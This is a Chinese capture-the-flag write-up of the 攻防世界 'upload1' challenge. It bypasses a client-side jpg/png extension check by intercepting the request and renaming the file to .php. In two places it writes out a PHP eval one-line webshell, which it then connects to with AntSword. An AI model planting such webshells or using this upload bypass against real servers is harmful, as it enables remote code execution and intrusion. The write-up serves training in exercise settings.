[CTF/网络安全] 攻防世界 upload1 解题详析

[CTF/网络安全] 攻防世界 upload1 解题详析

考察文件上传,具体原理及姿势不再赘述。

姿势

在txt中写入一句话木马<?php @eval($_POST[qiu]);?>

回显如下:

查看源代码:

复制代码
Array.prototype.contains = function (obj) {  
    var i = this.length;  
    while (i--) {  
        if (this[i] === obj) {  
            return true;  
        }  
    }  
    return false;  
}  

function check(){
upfile = document.getElementById("upfile");
submit = document.getElementById("submit");
name = upfile.value;
ext = name.replace(/^.+\./,'');

if(['jpg','png'].contains(ext)){
	submit.disabled = false;
}else{
	submit.disabled = true;

	alert('请选择一张图片文件上传!');
}
 }

这段代码的作用是检查上传文件的扩展名是否符合要求,如果是图片格式(jpg或png),则启用提交按钮,否则禁用提交按钮并弹出提示消息。

其中用到了 JavaScript 中的 Array 原型对象和条件判断语句。该代码通过扩展 Array 原型对象添加了一个名为 contains 的函数,用于判断一个对象是否在数组中,主要应用于判断上传文件的扩展名是否属于指定的图片格式,这里是 ['jpg','png']

更改文件格式为jpg

文件上传成功:

进入所在路径:

上图说明jpg文件被拦截

抓包,修改filename文件后缀为.php,重发请求包


进入所在路径:

无Error回显,说明木马上传成功。
若不清楚木马是否上传成功,可修改内容如下:

复制代码
<?php 
@eval($_POST['qiu']);
echo('qiu');
?>

若文件上传成功,则在上传路径对应的页面会输出qiu

连接蚁剑:

相关推荐
却尘40 分钟前
Atlassian老兵空降第一周:手把手教你建立可持续的安全扫描体系
安全·debug·devops
芯盾时代43 分钟前
低空经济网络安全风险
安全·web安全·芯盾时代
代码改善世界1 小时前
Rust 入门基础:安全、并发与高性能的系统编程语言
开发语言·安全·rust
鹿鸣天涯2 小时前
等保测评取消打分,《网络安全等级测评报告模版(2025版)》重大变更,详细解读两细化、三变更、五新增
网络·安全·web安全
钮钴禄·爱因斯晨4 小时前
不只是字符串:Actix-web 路由与 FromRequest的类型安全艺术
前端·安全
清风25564 小时前
网络安全相关知识
安全·web安全
Giser探索家9 小时前
无人机桥梁巡检:以“空天地”智慧之力守护交通生命线
大数据·人工智能·算法·安全·架构·无人机
wanhengidc12 小时前
云手机适配用户有哪些?
服务器·arm开发·安全·智能手机·玩游戏
亚远景aspice14 小时前
亚远景-ISO 26262与ISO 21434:汽车安全标准的双基石
安全·web安全
pingao14137817 小时前
雨量监测进入智慧时代:自动站守护城市安全
安全